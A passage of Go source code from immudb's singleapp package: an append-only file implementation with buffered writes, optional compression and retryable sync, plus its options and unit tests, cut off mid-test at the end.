Storage: memory.Open(), err: errors.New("Injected error"), errDuringRead: duringRead, } storeData(t, m, "fl", []byte{ 0, 0, 0, 4, // Dummy empty header 0, 0, 0, 0, 1, 2, 3, 4, // Data, 4 bytes }) r, err := openRemoteStorageReader(m, "fl") require.Equal(t, m.err, err) require.Nil(t, r) } } ================================================ FILE: embedded/appendable/singleapp/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package singleapp import ( "fmt" "os" "github.com/codenotary/immudb/embedded/appendable" ) const DefaultFileMode = os.FileMode(0644) const DefaultCompressionFormat = appendable.DefaultCompressionFormat const DefaultCompressionLevel = appendable.DefaultCompressionLevel const DefaultReadBufferSize = 4096 const DefaultWriteBufferSize = 4096 type Options struct { readOnly bool readBufferSize int writeBuffer []byte retryableSync bool // if retryableSync is enabled, buffer space is released only after a successful sync autoSync bool // if autoSync is enabled, sync is called when the buffer is full fileMode os.FileMode compressionFormat int compressionLevel int preallocSize int createIfNotExists bool metadata []byte } func DefaultOptions() *Options { return &Options{ readOnly: false, retryableSync: true, autoSync: true, createIfNotExists: true, fileMode: DefaultFileMode, compressionFormat: DefaultCompressionFormat, compressionLevel: DefaultCompressionLevel, readBufferSize: DefaultReadBufferSize, writeBuffer: make([]byte, DefaultWriteBufferSize), } } func (opts *Options) Validate() error { if opts == nil { return fmt.Errorf("%w: nil options", ErrInvalidOptions) } if opts.readBufferSize <= 0 { return fmt.Errorf("%w: invalid readBufferSize", ErrInvalidOptions) } if !opts.readOnly && len(opts.writeBuffer) == 0 { return fmt.Errorf("%w: invalid writeBuffer", ErrInvalidOptions) } if opts.preallocSize < 0 { return fmt.Errorf("%w: invalid preallocSize", ErrInvalidOptions) } return nil } func (opts *Options) WithReadOnly(readOnly bool) *Options { opts.readOnly = readOnly return opts } func (opts *Options) WithRetryableSync(retryableSync bool) *Options { opts.retryableSync = retryableSync return opts } func (opts *Options) WithAutoSync(autoSync bool) *Options { opts.autoSync = autoSync return opts } func (opts *Options) WithFileMode(fileMode os.FileMode) *Options { opts.fileMode = fileMode return opts } func (opts *Options) WithCompressionFormat(compressionFormat int) *Options { opts.compressionFormat = compressionFormat return opts } func (opts *Options) WithPreallocSize(preallocSize int) *Options { opts.preallocSize = preallocSize return opts } func (opts *Options) WithCreateIfNotExists(createIfNotExists bool) *Options { opts.createIfNotExists = createIfNotExists return opts } func (opts *Options) GetCompressionFormat() int { return opts.compressionFormat } func (opts *Options) GetCompressionLevel() int { return opts.compressionLevel } func (opts *Options) GetReadBufferSize() int { return opts.readBufferSize } func (opts *Options) GetPreallocSize() int { return opts.preallocSize } func (opts *Options) GetWriteBuffer() []byte { return opts.writeBuffer } func (opts *Options) WithCompresionLevel(compressionLevel int) *Options { opts.compressionLevel = compressionLevel return opts } func (opts *Options) WithMetadata(metadata []byte) *Options { opts.metadata = metadata return opts } func (opts *Options) WithReadBufferSize(size int) *Options { opts.readBufferSize = size return opts } func (opts *Options) WithWriteBuffer(b []byte) *Options { opts.writeBuffer = b return opts } ================================================ FILE: embedded/appendable/singleapp/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package singleapp import ( "testing" "github.com/stretchr/testify/require" ) func TestInvalidOptions(t *testing.T) { for _, d := range []struct { n string opts *Options }{ {"nil", nil}, {"empty", &Options{}}, {"ReadBufferSize", DefaultOptions().WithReadBufferSize(0)}, {"WriteBuffer", DefaultOptions().WithReadOnly(false).WithWriteBuffer(nil)}, } { t.Run(d.n, func(t *testing.T) { require.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions) }) } } func TestDefaultOptions(t *testing.T) { require.NoError(t, DefaultOptions().Validate()) } func TestValidOptions(t *testing.T) { opts := &Options{} require.Equal(t, DefaultFileMode, opts.WithFileMode(DefaultFileMode).fileMode) require.Equal(t, []byte{}, opts.WithMetadata([]byte{}).metadata) require.Equal(t, DefaultCompressionFormat, opts.WithCompressionFormat(DefaultCompressionFormat).compressionFormat) require.Equal(t, DefaultCompressionFormat, opts.WithCompressionFormat(DefaultCompressionFormat).GetCompressionFormat()) require.Equal(t, DefaultCompressionLevel, opts.WithCompresionLevel(DefaultCompressionLevel).compressionLevel) require.Equal(t, DefaultCompressionLevel, opts.WithCompresionLevel(DefaultCompressionLevel).GetCompressionLevel()) require.True(t, opts.WithRetryableSync(true).retryableSync) require.True(t, opts.WithAutoSync(true).autoSync) require.True(t, opts.WithReadOnly(true).readOnly) require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) require.Equal(t, DefaultReadBufferSize+1, opts.WithReadBufferSize(DefaultReadBufferSize+1).GetReadBufferSize()) require.NoError(t, opts.Validate()) opts.WithPreallocSize(-1) require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) require.Equal(t, 10, opts.WithPreallocSize(10).GetPreallocSize()) require.NoError(t, opts.Validate()) require.False(t, opts.WithReadOnly(false).readOnly) require.ErrorIs(t, opts.Validate(), ErrInvalidOptions) b := make([]byte, DefaultWriteBufferSize) require.Equal(t, b, opts.WithWriteBuffer(b).GetWriteBuffer()) require.NoError(t, opts.Validate()) require.True(t, opts.WithReadOnly(true).readOnly) require.NoError(t, opts.Validate()) } ================================================ FILE: embedded/appendable/singleapp/single_app.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package singleapp import ( "bufio" "bytes" "compress/flate" "compress/gzip" "compress/lzw" "compress/zlib" "encoding/binary" "errors" "fmt" "io" "os" "path/filepath" "sync" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/fileutils" ) var ErrorPathIsNotADirectory = errors.New("singleapp: path is not a directory") var ErrIllegalArguments = errors.New("singleapp: illegal arguments") var ErrInvalidOptions = fmt.Errorf("%w: invalid options", ErrIllegalArguments) var ErrAlreadyClosed = errors.New("singleapp: already closed") var ErrReadOnly = errors.New("singleapp: read-only mode") var ErrCorruptedMetadata = errors.New("singleapp: corrupted metadata") var ErrBufferFull = errors.New("singleapp: buffer full") var ErrNegativeOffset = errors.New("singleapp: negative offset") const ( metaPreallocSize = "PREALLOC_SIZE" metaCompressionFormat = "COMPRESSION_FORMAT" metaCompressionLevel = "COMPRESSION_LEVEL" metaWrappedMeta = "WRAPPED_METADATA" ) var _ appendable.Appendable = (*AppendableFile)(nil) type AppendableFile struct { f *os.File fileBaseOffset int64 fileOffset int64 seekRequired bool writeBuffer []byte wbufFlushedOffset int wbufUnwrittenOffset int readBufferSize int readOnly bool retryableSync bool autoSync bool compressionFormat int compressionLevel int preallocSize int metadata []byte closed bool mutex sync.Mutex } func Open(fileName string, opts *Options) (*AppendableFile, error) { err := opts.Validate() if err != nil { return nil, err } var flag int if opts.readOnly { flag = os.O_RDONLY } else { flag = os.O_CREATE | os.O_RDWR } _, err = os.Stat(fileName) notExist := os.IsNotExist(err) if err != nil && ((opts.readOnly && notExist) || (!opts.createIfNotExists && notExist) || !notExist) { return nil, err } f, err := os.OpenFile(fileName, flag, opts.fileMode) if err != nil { return nil, err } var metadata []byte var compressionFormat int var compressionLevel int var fileBaseOffset int64 var preallocSize int if notExist { m := appendable.NewMetadata(nil) m.PutInt(metaPreallocSize, opts.preallocSize) m.PutInt(metaCompressionFormat, opts.compressionFormat) m.PutInt(metaCompressionLevel, opts.compressionLevel) m.Put(metaWrappedMeta, opts.metadata) mBs := m.Bytes() mLenBs := make([]byte, 4) binary.BigEndian.PutUint32(mLenBs, uint32(len(mBs))) w := bufio.NewWriter(f) _, err := w.Write(mLenBs) if err != nil { return nil, err } _, err = w.Write(mBs) if err != nil { return nil, err } preallocBs := make([]byte, 4096) preallocated := 0 for preallocated < opts.preallocSize { n, err := w.Write(preallocBs[:minInt(len(preallocBs), opts.preallocSize-preallocated)]) if err != nil { return nil, err } preallocated += n } err = w.Flush() if err != nil { return nil, err } err = f.Sync() if err != nil { return nil, err } err = fileutils.SyncDir(filepath.Dir(fileName)) if err != nil { return nil, err } preallocSize = opts.preallocSize compressionFormat = opts.compressionFormat compressionLevel = opts.compressionLevel metadata = opts.metadata fileBaseOffset = int64(4 + len(mBs)) } else { r := bufio.NewReader(f) mLenBs := make([]byte, 4) _, err := r.Read(mLenBs) if err != nil { return nil, ErrCorruptedMetadata } mBs := make([]byte, binary.BigEndian.Uint32(mLenBs)) _, err = r.Read(mBs) if err != nil { return nil, ErrCorruptedMetadata } m := appendable.NewMetadata(mBs) preallocSz, ok := m.GetInt(metaCompressionFormat) if ok { preallocSize = preallocSz } cf, ok := m.GetInt(metaCompressionFormat) if !ok { return nil, ErrCorruptedMetadata } compressionFormat = cf cl, ok := m.GetInt(metaCompressionLevel) if !ok { return nil, ErrCorruptedMetadata } compressionLevel = cl metadata, ok = m.Get(metaWrappedMeta) if !ok { return nil, ErrCorruptedMetadata } fileBaseOffset = int64(4 + len(mBs)) } fileOffset, err := f.Seek(0, io.SeekEnd) if err != nil { return nil, err } return &AppendableFile{ f: f, fileBaseOffset: fileBaseOffset, fileOffset: fileOffset - fileBaseOffset, writeBuffer: opts.writeBuffer, readBufferSize: opts.readBufferSize, compressionFormat: compressionFormat, compressionLevel: compressionLevel, preallocSize: preallocSize, metadata: metadata, readOnly: opts.readOnly, retryableSync: opts.retryableSync, autoSync: opts.autoSync, closed: false, }, nil } func (aof *AppendableFile) Copy(dstPath string) error { aof.mutex.Lock() defer aof.mutex.Unlock() if aof.closed { return ErrAlreadyClosed } dstFile, err := os.Create(dstPath) if err != nil { return err } defer dstFile.Close() err = aof.flush() if err != nil { return err } aof.seekRequired = true _, err = aof.f.Seek(0, io.SeekStart) if err != nil { return err } _, err = io.Copy(dstFile, aof.f) if err != nil { return err } return dstFile.Sync() } func (aof *AppendableFile) CompressionFormat() int { return aof.compressionFormat } func (aof *AppendableFile) CompressionLevel() int { return aof.compressionLevel } func (aof *AppendableFile) Metadata() []byte { return aof.metadata } func (aof *AppendableFile) Size() (int64, error) { aof.mutex.Lock() defer aof.mutex.Unlock() if aof.closed { return 0, ErrAlreadyClosed } return aof.offset(), nil } func (aof *AppendableFile) Offset() int64 { aof.mutex.Lock() defer aof.mutex.Unlock() return aof.offset() } func (aof *AppendableFile) offset() int64 { return aof.fileOffset + int64(aof.wbufUnwrittenOffset-aof.wbufFlushedOffset) } func (aof *AppendableFile) SetOffset(newOffset int64) error { aof.mutex.Lock() defer aof.mutex.Unlock() if aof.closed { return ErrAlreadyClosed } if aof.readOnly { return ErrReadOnly } if newOffset < 0 { return ErrNegativeOffset } currOffset := aof.offset() if newOffset > currOffset { return fmt.Errorf("%w: provided offset %d is bigger than current one %d", ErrIllegalArguments, newOffset, currOffset) } if newOffset == currOffset { return nil } if newOffset >= aof.fileOffset { //in-mem change aof.wbufUnwrittenOffset -= int(currOffset - newOffset) return nil } aof.fileOffset = newOffset aof.seekRequired = true // discard in-memory data aof.wbufFlushedOffset = 0 aof.wbufUnwrittenOffset = 0 return nil } func (aof *AppendableFile) DiscardUpto(off int64) error { aof.mutex.Lock() defer aof.mutex.Unlock() if aof.closed { return ErrAlreadyClosed } if aof.offset() < off { return fmt.Errorf("%w: discard beyond existent data boundaries", ErrIllegalArguments) } return nil } func (aof *AppendableFile) writer(w io.Writer) (cw io.Writer, err error) { switch aof.compressionFormat { case appendable.FlateCompression: cw, err = flate.NewWriter(w, aof.compressionLevel) case appendable.GZipCompression: cw, err = gzip.NewWriterLevel(w, aof.compressionLevel) case appendable.LZWCompression: cw = lzw.NewWriter(w, lzw.MSB, 8) case appendable.ZLibCompression: cw, err = zlib.NewWriterLevel(w, aof.compressionLevel) } return } func (aof *AppendableFile) reader(r io.Reader) (reader io.ReadCloser, err error) { switch aof.compressionFormat { case appendable.FlateCompression: reader = flate.NewReader(r) case appendable.GZipCompression: reader, err = gzip.NewReader(r) case appendable.LZWCompression: reader = lzw.NewReader(r, lzw.MSB, 8) case appendable.ZLibCompression: reader, err = zlib.NewReader(r) } return } func (aof *AppendableFile) Append(bs []byte) (off int64, n int, err error) { aof.mutex.Lock() defer aof.mutex.Unlock() if aof.closed { return 0, 0, ErrAlreadyClosed } if aof.readOnly { return 0, 0, ErrReadOnly } if len(bs) == 0 { return 0, 0, ErrIllegalArguments } off = aof.offset() if aof.compressionFormat == appendable.NoCompression { n, err = aof.write(bs) return off, n, err } var b bytes.Buffer w, err := aof.writer(&b) if err != nil { return 0, 0, err } _, err = w.Write(bs) if err != nil { return 0, 0, err } w.(io.Closer).Close() bb := b.Bytes() bbLenBs := make([]byte, 4) binary.BigEndian.PutUint32(bbLenBs, uint32(len(bb))) n, err = aof.write(bbLenBs) if err != nil { return off, n, err } n, err = aof.write(bb) return off, n + 4, err } func (aof *AppendableFile) write(bs []byte) (n int, err error) { for n < len(bs) { available := len(aof.writeBuffer) - aof.wbufUnwrittenOffset if available == 0 { if aof.retryableSync { // Sync must be called to free buffer space if !aof.autoSync { return n, ErrBufferFull } // auto-sync is enabled err = aof.sync() if err != nil { return } } else { err = aof.flush() if err != nil { return } } available = len(aof.writeBuffer) } writeChunkSize := minInt(len(bs)-n, available) copy(aof.writeBuffer[aof.wbufUnwrittenOffset:], bs[n:n+writeChunkSize]) aof.wbufUnwrittenOffset += writeChunkSize n += writeChunkSize } return } func (aof *AppendableFile) readAt(bs []byte, off int64) (n int, err error) { if off < 0 { return 0, ErrNegativeOffset } if off > aof.offset() { return 0, io.EOF } // boff is the offset to employ when reading from the buffer var boff int if off < aof.fileOffset { n, err = aof.f.ReadAt(bs, aof.fileBaseOffset+off) } else { boff = int(off - aof.fileOffset) } pending := len(bs) - n if pending > 0 { available := (aof.wbufUnwrittenOffset - aof.wbufFlushedOffset) - boff readChunkSize := minInt(pending, available) if readChunkSize > 0 { copy(bs[n:], aof.writeBuffer[aof.wbufFlushedOffset+boff:aof.wbufFlushedOffset+boff+readChunkSize]) n += readChunkSize } if readChunkSize == pending { err = nil } else { err = io.EOF } } return } func (aof *AppendableFile) ReadAt(bs []byte, off int64) (n int, err error) { aof.mutex.Lock() defer aof.mutex.Unlock() if aof.closed { return 0, ErrAlreadyClosed } if bs == nil { return 0, ErrIllegalArguments } if aof.compressionFormat == appendable.NoCompression { return aof.readAt(bs, off) } clenBs := make([]byte, 4) _, err = aof.readAt(clenBs, off) if err != nil { return 0, err } cBs := make([]byte, binary.BigEndian.Uint32(clenBs)) _, err = aof.readAt(cBs, off+4) if err != nil { return 0, err } r, err := aof.reader(bytes.NewReader(cBs)) if err != nil { return 0, err } defer r.Close() var buf bytes.Buffer buf.ReadFrom(r) rbs := buf.Bytes() n = minInt(len(rbs), len(bs)) copy(bs, rbs[:n]) if n < len(bs) { err = io.EOF } return } func (aof *AppendableFile) SwitchToReadOnlyMode() error { aof.mutex.Lock() defer aof.mutex.Unlock() if aof.closed { return ErrAlreadyClosed } if aof.readOnly { return ErrReadOnly } // write buffer must be freed err := aof.flush() if err != nil { return err } if aof.retryableSync { // syncing is required to free the write buffer with retryable sync err := aof.sync() if err != nil { return err } } aof.writeBuffer = nil aof.readOnly = true return nil } func (aof *AppendableFile) Flush() error { aof.mutex.Lock() defer aof.mutex.Unlock() if aof.closed { return ErrAlreadyClosed } if aof.readOnly { return ErrReadOnly } return aof.flush() } func (aof *AppendableFile) seekIfRequired() error { if !aof.seekRequired { return nil } _, err := aof.f.Seek(aof.fileBaseOffset+aof.fileOffset, io.SeekStart) if err != nil { return err } aof.seekRequired = false return nil } // flush writes buffered data into the underlying file. // When retryableSync is used, the buffer space is released // after sync succeeds to prevent data loss under unexpected conditions func (aof *AppendableFile) flush() error { if aof.wbufUnwrittenOffset-aof.wbufFlushedOffset == 0 { // nothing to write return nil } // ensure that the file is written at the expected location err := aof.seekIfRequired() if err != nil { return err } n, err := aof.f.Write(aof.writeBuffer[aof.wbufFlushedOffset:aof.wbufUnwrittenOffset]) aof.fileOffset += int64(n) aof.wbufFlushedOffset += n if err != nil { return err } if !aof.retryableSync { // free buffer space aof.wbufFlushedOffset = 0 aof.wbufUnwrittenOffset = 0 } return nil } func (aof *AppendableFile) Sync() error { aof.mutex.Lock() defer aof.mutex.Unlock() if aof.closed { return ErrAlreadyClosed } if aof.readOnly { return ErrReadOnly } return aof.sync() } func (aof *AppendableFile) sync() error { err := aof.flush() if err != nil { return err } if aof.preallocSize == 0 { err = aof.f.Sync() } else { err = fileutils.Fdatasync(aof.f) } if !aof.retryableSync { return err } // retryableSync // Buffer space is not freed when there is an error during sync // prevent data lost when fsync fails // buffered data may be re-written in following // flushing and syncing calls. if err == nil { // buffer space is freed aof.wbufFlushedOffset = 0 aof.wbufUnwrittenOffset = 0 } else { aof.fileOffset -= int64(aof.wbufFlushedOffset) aof.seekRequired = true aof.wbufFlushedOffset = 0 } return err } func (aof *AppendableFile) Close() error { aof.mutex.Lock() defer aof.mutex.Unlock() if aof.closed { return ErrAlreadyClosed } if !aof.readOnly { err := aof.flush() if err != nil { return err } } aof.closed = true return aof.f.Close() } func minInt(a, b int) int { if a <= b { return a } return b } ================================================ FILE: embedded/appendable/singleapp/single_app_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package singleapp import ( "bufio" "encoding/binary" "io" "io/ioutil" "math/rand" "os" "path/filepath" "testing" "github.com/codenotary/immudb/embedded/appendable" "github.com/stretchr/testify/require" ) func TestSingleApp(t *testing.T) { buf := make([]byte, DefaultWriteBufferSize*5) opts := DefaultOptions(). WithReadBufferSize(DefaultReadBufferSize * 2). WithWriteBuffer(buf) a, err := Open(filepath.Join(t.TempDir(), "testdata.aof"), opts) require.NoError(t, err) sz, err := a.Size() require.NoError(t, err) require.Equal(t, int64(0), sz) require.Equal(t, appendable.DefaultCompressionFormat, a.CompressionFormat()) require.Equal(t, appendable.DefaultCompressionLevel, a.CompressionLevel()) err = a.SetOffset(0) require.NoError(t, err) require.Equal(t, int64(0), a.Offset()) md := a.Metadata() require.Nil(t, md) _, _, err = a.Append(nil) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = a.Append([]byte{}) require.ErrorIs(t, err, ErrIllegalArguments) off, n, err := a.Append([]byte{0}) require.NoError(t, err) require.Equal(t, int64(0), off) require.Equal(t, 1, n) off, n, err = a.Append([]byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, int64(1), off) require.Equal(t, 3, n) off, n, err = a.Append([]byte{4, 5, 6, 7, 8, 9, 10}) require.NoError(t, err) require.Equal(t, int64(4), off) require.Equal(t, 7, n) err = a.Flush() require.NoError(t, err) bs := make([]byte, 4) n, err = a.ReadAt(bs, 0) require.NoError(t, err) require.Equal(t, 4, n) require.Equal(t, []byte{0, 1, 2, 3}, bs) bs = make([]byte, 4) n, err = a.ReadAt(bs, 7) require.NoError(t, err) require.Equal(t, 4, n) require.Equal(t, []byte{7, 8, 9, 10}, bs) n, err = a.ReadAt(bs, 1000) require.Equal(t, n, 0) require.ErrorIs(t, err, io.EOF) err = a.Sync() require.NoError(t, err) err = a.Close() require.NoError(t, err) } func TestSingleAppSetOffsetWithRetryableSyncOn(t *testing.T) { opts := DefaultOptions(). WithWriteBuffer(make([]byte, 64)) testSingleAppSetOffsetWith(opts, t) } func TestSingleAppSetOffsetWithRetryableSyncOff(t *testing.T) { opts := DefaultOptions(). WithRetryableSync(false). WithWriteBuffer(make([]byte, 64)) testSingleAppSetOffsetWith(opts, t) } func testSingleAppSetOffsetWith(opts *Options, t *testing.T) { a, err := Open(filepath.Join(t.TempDir(), "testdata.aof"), opts) require.NoError(t, err) err = a.SetOffset(-1) require.ErrorIs(t, err, ErrNegativeOffset) // prealloc buffer used when writing data writeBuf := make([]byte, len(opts.writeBuffer)*3) // prealloc buffer used when reading data readBuf := make([]byte, len(writeBuf)) for i := 1; i <= len(writeBuf); i++ { // gen some random data rand.Read(writeBuf[:i]) off, n, err := a.Append(writeBuf[:i]) require.NoError(t, err) require.Equal(t, int64(0), off) require.Equal(t, i, n) err = a.SetOffset(int64(n + 1)) require.ErrorIs(t, err, ErrIllegalArguments) // incremental left truncation for j := 0; j <= n; j++ { err = a.SetOffset(int64(n - j)) require.NoError(t, err) require.Equal(t, int64(n-j), a.Offset()) sz, err := a.Size() require.NoError(t, err) require.Equal(t, int64(n-j), sz) // read entire content should match what was appended rn, err := a.ReadAt(readBuf[:sz], 0) require.NoError(t, err) require.Equal(t, sz, int64(rn)) require.Equal(t, writeBuf[:sz], readBuf[:sz]) } } require.Zero(t, a.Offset()) sz, err := a.Size() require.NoError(t, err) require.Zero(t, sz) err = a.Close() require.NoError(t, err) } func TestSingleAppSwitchToReadOnlyMode(t *testing.T) { a, err := Open(filepath.Join(t.TempDir(), "testdata.aof"), DefaultOptions()) require.NoError(t, err) off, n, err := a.Append([]byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, int64(0), off) require.Equal(t, 3, n) err = a.SwitchToReadOnlyMode() require.NoError(t, err) err = a.SwitchToReadOnlyMode() require.ErrorIs(t, err, ErrReadOnly) bs := make([]byte, 3) n, err = a.ReadAt(bs, 0) require.NoError(t, err) require.Equal(t, 3, n) require.Equal(t, []byte{1, 2, 3}, bs) err = a.Close() require.NoError(t, err) } func TestSingleAppReOpening(t *testing.T) { dir := t.TempDir() a, err := Open(filepath.Join(dir, "testdata.aof"), DefaultOptions()) require.NoError(t, err) off, n, err := a.Append([]byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, int64(0), off) require.Equal(t, 3, n) err = a.Copy(filepath.Join(dir, "testdata_copy.aof")) require.NoError(t, err) err = a.Close() require.NoError(t, err) a, err = Open(filepath.Join(dir, "testdata_copy.aof"), DefaultOptions().WithReadOnly(true)) require.NoError(t, err) sz, err := a.Size() require.NoError(t, err) require.Equal(t, int64(3), sz) bs := make([]byte, 3) n, err = a.ReadAt(bs, 0) require.NoError(t, err) require.Equal(t, 3, n) require.Equal(t, []byte{1, 2, 3}, bs) err = a.SwitchToReadOnlyMode() require.ErrorIs(t, err, ErrReadOnly) err = a.SetOffset(sz) require.ErrorIs(t, err, ErrReadOnly) _, _, err = a.Append([]byte{}) require.ErrorIs(t, err, ErrReadOnly) err = a.Flush() require.ErrorIs(t, err, ErrReadOnly) err = a.Sync() require.ErrorIs(t, err, ErrReadOnly) err = a.Close() require.NoError(t, err) } func TestSingleAppCorruptedFileReadingMetadata(t *testing.T) { f, err := ioutil.TempFile(t.TempDir(), "singleapp_test_") require.NoError(t, err) // should fail reading metadata len _, err = Open(f.Name(), DefaultOptions()) require.ErrorIs(t, err, ErrCorruptedMetadata) mLenBs := make([]byte, 4) binary.BigEndian.PutUint32(mLenBs, 1) w := bufio.NewWriter(f) _, err = w.Write(mLenBs) require.NoError(t, err) err = w.Flush() require.NoError(t, err) // should failt reading metadata _, err = Open(f.Name(), DefaultOptions()) require.ErrorIs(t, err, ErrCorruptedMetadata) } func TestSingleAppCorruptedFileReadingCompresionFormat(t *testing.T) { f, err := ioutil.TempFile(t.TempDir(), "singleapp_test_") require.NoError(t, err) m := appendable.NewMetadata(nil) mBs := m.Bytes() mLenBs := make([]byte, 4) binary.BigEndian.PutUint32(mLenBs, uint32(len(mBs))) w := bufio.NewWriter(f) _, err = w.Write(mLenBs) require.NoError(t, err) _, err = w.Write(mBs) require.NoError(t, err) err = w.Flush() require.NoError(t, err) // should failt reading metadata _, err = Open(f.Name(), DefaultOptions()) require.ErrorIs(t, err, ErrCorruptedMetadata) } func TestSingleAppCorruptedFileReadingCompresionLevel(t *testing.T) { f, err := ioutil.TempFile(t.TempDir(), "singleapp_test_") require.NoError(t, err) m := appendable.NewMetadata(nil) m.PutInt(metaCompressionFormat, appendable.NoCompression) mBs := m.Bytes() mLenBs := make([]byte, 4) binary.BigEndian.PutUint32(mLenBs, uint32(len(mBs))) w := bufio.NewWriter(f) _, err = w.Write(mLenBs) require.NoError(t, err) _, err = w.Write(mBs) require.NoError(t, err) err = w.Flush() require.NoError(t, err) // should failt reading metadata _, err = Open(f.Name(), DefaultOptions()) require.ErrorIs(t, err, ErrCorruptedMetadata) } func TestSingleAppCorruptedFileReadingCompresionWrappedMetadata(t *testing.T) { f, err := ioutil.TempFile(t.TempDir(), "singleapp_test_") require.NoError(t, err) m := appendable.NewMetadata(nil) m.PutInt(metaCompressionFormat, appendable.NoCompression) m.PutInt(metaCompressionLevel, appendable.DefaultCompression) mBs := m.Bytes() mLenBs := make([]byte, 4) binary.BigEndian.PutUint32(mLenBs, uint32(len(mBs))) w := bufio.NewWriter(f) _, err = w.Write(mLenBs) require.NoError(t, err) _, err = w.Write(mBs) require.NoError(t, err) err = w.Flush() require.NoError(t, err) // should failt reading metadata _, err = Open(f.Name(), DefaultOptions()) require.ErrorIs(t, err, ErrCorruptedMetadata) } func TestSingleAppEdgeCases(t *testing.T) { dir := t.TempDir() _, err := Open(filepath.Join(dir, "testdata.aof"), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = Open(filepath.Join(dir, "testdata.aof"), DefaultOptions().WithReadOnly(true)) require.Error(t, err) a, err := Open(filepath.Join(dir, "testdata.aof"), DefaultOptions().WithRetryableSync(false)) require.NoError(t, err) err = a.Flush() require.NoError(t, err) _, err = a.ReadAt(nil, 0) require.ErrorIs(t, err, ErrIllegalArguments) err = a.Close() require.NoError(t, err) _, err = a.Size() require.ErrorIs(t, err, ErrAlreadyClosed) err = a.Copy(filepath.Join(dir, "copy.aof")) require.ErrorIs(t, err, ErrAlreadyClosed) err = a.SetOffset(0) require.ErrorIs(t, err, ErrAlreadyClosed) _, _, err = a.Append([]byte{}) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = a.ReadAt([]byte{}, 0) require.ErrorIs(t, err, ErrAlreadyClosed) err = a.Flush() require.ErrorIs(t, err, ErrAlreadyClosed) err = a.Sync() require.ErrorIs(t, err, ErrAlreadyClosed) err = a.DiscardUpto(1) require.ErrorIs(t, err, ErrAlreadyClosed) err = a.Close() require.ErrorIs(t, err, ErrAlreadyClosed) } func TestSingleAppZLibCompression(t *testing.T) { opts := DefaultOptions().WithCompressionFormat(appendable.ZLibCompression) a, err := Open(filepath.Join(t.TempDir(), "testdata.aof"), opts) require.NoError(t, err) off, _, err := a.Append([]byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, int64(0), off) err = a.Flush() require.NoError(t, err) bs := make([]byte, 3) _, err = a.ReadAt(bs, 0) require.NoError(t, err) require.Equal(t, []byte{1, 2, 3}, bs) err = a.Close() require.NoError(t, err) } func TestSingleAppFlateCompression(t *testing.T) { opts := DefaultOptions().WithCompressionFormat(appendable.FlateCompression) a, err := Open(filepath.Join(t.TempDir(), "testdata.aof"), opts) require.NoError(t, err) off, _, err := a.Append([]byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, int64(0), off) err = a.Flush() require.NoError(t, err) bs := make([]byte, 3) _, err = a.ReadAt(bs, 0) require.NoError(t, err) require.Equal(t, []byte{1, 2, 3}, bs) err = a.Close() require.NoError(t, err) } func TestSingleAppGZipCompression(t *testing.T) { opts := DefaultOptions().WithCompressionFormat(appendable.GZipCompression) a, err := Open(filepath.Join(t.TempDir(), "testdata.aof"), opts) require.NoError(t, err) off, _, err := a.Append([]byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, int64(0), off) err = a.Flush() require.NoError(t, err) bs := make([]byte, 3) _, err = a.ReadAt(bs, 0) require.NoError(t, err) require.Equal(t, []byte{1, 2, 3}, bs) err = a.Close() require.NoError(t, err) } func TestSingleAppLZWCompression(t *testing.T) { opts := DefaultOptions().WithCompressionFormat(appendable.LZWCompression) a, err := Open(filepath.Join(t.TempDir(), "testdata.aof"), opts) require.NoError(t, err) off, _, err := a.Append([]byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, int64(0), off) err = a.Flush() require.NoError(t, err) bs := make([]byte, 3) _, err = a.ReadAt(bs, 0) require.NoError(t, err) require.Equal(t, []byte{1, 2, 3}, bs) err = a.Close() require.NoError(t, err) } func TestSingleAppCantCreateFile(t *testing.T) { dir := t.TempDir() os.Mkdir(filepath.Join(dir, "exists"), 0644) _, err := Open(filepath.Join(dir, "exists"), DefaultOptions()) require.ErrorContains(t, err, "exists") app, err := Open(filepath.Join(dir, "valid"), DefaultOptions()) require.NoError(t, err) err = app.Copy(filepath.Join(dir, "exists")) require.ErrorContains(t, err, "exists") } func TestSingleAppDiscard(t *testing.T) { app, err := Open(filepath.Join(t.TempDir(), "testdata_discard.aof"), DefaultOptions()) require.NoError(t, err) err = app.DiscardUpto(0) require.NoError(t, err) err = app.DiscardUpto(1) require.ErrorIs(t, err, ErrIllegalArguments) off, 